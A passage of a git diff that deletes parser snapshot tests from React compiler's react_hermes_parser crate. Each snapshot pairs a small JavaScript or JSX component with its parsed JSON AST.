----
-Input:
-function Component(props) {
-  const x = {};
-  const y = Number(x);
-  return [x, y];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    53
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "Number",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      56,
-                      62
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        63,
-                        64
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    56,
-                    65
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  52,
-                  65
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              66
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    80,
-                    81
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                76,
-                82
-              ]
-            },
-            "loc": null,
-            "range": [
-              69,
-              83
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          85
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        85
-      ],
-      "loc": null,
-      "range": [
-        0,
-        85
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    85
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@globals-String.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@globals-String.js.snap
deleted file mode 100644
index 3d65520fc8cb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@globals-String.js.snap
+++ /dev/null
@@ -1,207 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/globals-String.js
----
-Input:
-function Component(props) {
-  const x = {};
-  const y = String(x);
-  return [x, y];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    53
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "String",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      56,
-                      62
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        63,
-                        64
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    56,
-                    65
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  52,
-                  65
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              66
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    80,
-                    81
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                76,
-                82
-              ]
-            },
-            "loc": null,
-            "range": [
-              69,
-              83
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          85
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        85
-      ],
-      "loc": null,
-      "range": [
-        0,
-        85
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    85
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@holey-array-expr.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@holey-array-expr.js.snap
deleted file mode 100644
index 79cba2c84b3b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@holey-array-expr.js.snap
+++ /dev/null
@@ -1,149 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/holey-array-expr.js
----
-Input:
-function t(props) {
-  let x = [, foo, props];
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "t",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          10
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            11,
-            16
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    26,
-                    27
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    null,
-                    {
-                      "type": "Identifier",
-                      "name": "foo",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        33,
-                        36
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        38,
-                        43
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    30,
-                    44
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  26,
-                  44
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              22,
-              45
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                55,
-                56
-              ]
-            },
-            "loc": null,
-            "range": [
-              48,
-              57
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          18,
-          59
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        59
-      ],
-      "loc": null,
-      "range": [
-        0,
-        59
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    59
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@holey-array-pattern-dce-2.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@holey-array-pattern-dce-2.js.snap
deleted file mode 100644
index f306b2cb2427..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@holey-array-pattern-dce-2.js.snap
+++ /dev/null
@@ -1,149 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/holey-array-pattern-dce-2.js
----
-Input:
-function t(props) {
-  let [foo, bar, ,] = props;
-  return foo;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "t",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          10
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            11,
-            16
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "foo",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        27,
-                        30
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "bar",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        32,
-                        35
-                      ]
-                    },
-                    null
-                  ],
-                  "loc": null,
-                  "range": [
-                    26,
-                    39
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    42,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  26,
-                  47
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              22,
-              48
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "foo",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                58,
-                61
-              ]
-            },
-            "loc": null,
-            "range": [
-              51,
-              62
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          18,
-          64
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        64
-      ],
-      "loc": null,
-      "range": [
-        0,
-        64
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    64
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@holey-array-pattern-dce.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@holey-array-pattern-dce.js.snap
deleted file mode 100644
index 488c00ee8430..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@holey-array-pattern-dce.js.snap
+++ /dev/null
@@ -1,149 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/holey-array-pattern-dce.js
----
-Input:
-function t(props) {
-  let [, foo, bar] = props;
-  return foo;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "t",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          10
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            11,
-            16
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    null,
-                    {
-                      "type": "Identifier",
-                      "name": "foo",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        29,
-                        32
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "bar",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        34,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    26,
-                    38
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    46
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  26,
-                  46
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              22,
-              47
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "foo",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                57,
-                60
-              ]
-            },
-            "loc": null,
-            "range": [
-              50,
-              61
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          18,
-          63
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        63
-      ],
-      "loc": null,
-      "range": [
-        0,
-        63
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    63
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@holey-array.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@holey-array.js.snap
deleted file mode 100644
index da5c4d9e9e79..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@holey-array.js.snap
+++ /dev/null
@@ -1,206 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/holey-array.js
----
-Input:
-function t(props) {
-  let [, setstate] = useState();
-  setstate(1);
-  return props.foo;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "t",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          10
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            11,
-            16
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    null,
-                    {
-                      "type": "Identifier",
-                      "name": "setstate",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        29,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    26,
-                    38
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      41,
-                      49
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    41,
-                    51
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  26,
-                  51
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              22,
-              52
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "setstate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  55,
-                  63
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    64,
-                    65
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                55,
-                66
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              55,
-              67
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  77,
-                  82
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  83,
-                  86
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                77,
-                86
-              ]
-            },
-            "loc": null,
-            "range": [
-              70,
-              87
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          18,
-          89
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        89
-      ],
-      "loc": null,
-      "range": [
-        0,
-        89
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    89
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@hook-call.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@hook-call.js.snap
deleted file mode 100644
index 5d5d7a086bee..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@hook-call.js.snap
+++ /dev/null
@@ -1,417 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/hook-call.js
----
-Input:
-function useFreeze() {}
-function foo() {}
-
-function Component(props) {
-  const x = [];
-  const y = useFreeze(x);
-  foo(y, x);
-  return (
-    <Component>
-      {x}
-      {y}
-    </Component>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "useFreeze",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          21,
-          23
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        23
-      ],
-      "loc": null,
-      "range": [
-        0,
-        23
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          33,
-          36
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          39,
-          41
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        24,
-        41
-      ],
-      "loc": null,
-      "range": [
-        24,
-        41
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          52,
-          61
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            62,
-            67
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    79,
-                    80
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    83,
-                    85
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  79,
-                  85
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              73,
-              86
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    95,
-                    96
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useFreeze",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      99,
-                      108
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        109,
-                        110
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    99,
-                    111
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  95,
-                  111
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              89,
-              112
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  115,
-                  118
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    119,
-                    120
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    122,
-                    123
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                115,
-                124
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              115,
-              125
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Component",
-                  "loc": null,
-                  "range": [
-                    142,
-                    151
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  141,
-                  152
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    152,
-                    159
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      160,
-                      161
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    159,
-                    162
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    162,
-                    169
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      170,
-                      171
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    169,
-                    172
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    172,
-                    177
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Component",
-                  "loc": null,
-                  "range": [
-                    179,
-                    188
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  177,
-                  189
-                ]
-              },
-              "loc": null,
-              "range": [
-                141,
-                189
-              ]
-            },
-            "loc": null,
-            "range": [
-              128,
-              194
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          69,
-          196
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        43,
-        196
-      ],
-      "loc": null,
-      "range": [
-        43,
-        196
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    196
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@hook-inside-logical-expression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@hook-inside-logical-expression.js.snap
deleted file mode 100644
index 8e47df4c425e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@hook-inside-logical-expression.js.snap
+++ /dev/null
@@ -1,246 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/hook-inside-logical-expression.js
----
-Input:
-function Component(props) {
-  const user = useFragment(graphql`...`, props.user) ?? {};
-  return user.name;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "user",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    40
-                  ]
-                },
-                "init": {
-                  "type": "LogicalExpression",
-                  "operator": "??",
-                  "left": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "useFragment",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        43,
-                        54
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "TaggedTemplateExpression",
-                        "tag": {
-                          "type": "Identifier",
-                          "name": "graphql",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            55,
-                            62
-                          ]
-                        },
-                        "quasi": {
-                          "type": "TemplateLiteral",
-                          "quasis": [
-                            {
-                              "type": "TemplateElement",
-                              "tail": true,
-                              "value": {
-                                "cooked": "...",
-                                "raw": "..."
-                              },
-                              "loc": null,
-                              "range": [
-                                62,
-                                67
-                              ]
-                            }
-                          ],
-                          "expressions": [],
-                          "loc": null,
-                          "range": [
-                            62,
-                            67
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          55,
-                          67
-                        ]
-                      },
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            69,
-                            74
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "user",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            75,
-                            79
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          69,
-                          79
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      43,
-                      80
-                    ]
-                  },
-                  "right": {
-                    "type": "ObjectExpression",
-                    "properties": [],
-                    "loc": null,
-                    "range": [
-                      84,
-                      86
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    43,
-                    86
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  86
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              87
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "user",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  97,
-                  101
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "name",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  102,
-                  106
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                97,
-                106
-              ]
-            },
-            "loc": null,
-            "range": [
-              90,
-              107
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          109
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        109
-      ],
-      "loc": null,
-      "range": [
-        0,
-        109
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    109
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@hooks-freeze-arguments.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@hooks-freeze-arguments.js.snap
deleted file mode 100644
index 86c6d565d0fc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@hooks-freeze-arguments.js.snap
+++ /dev/null
@@ -1,331 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
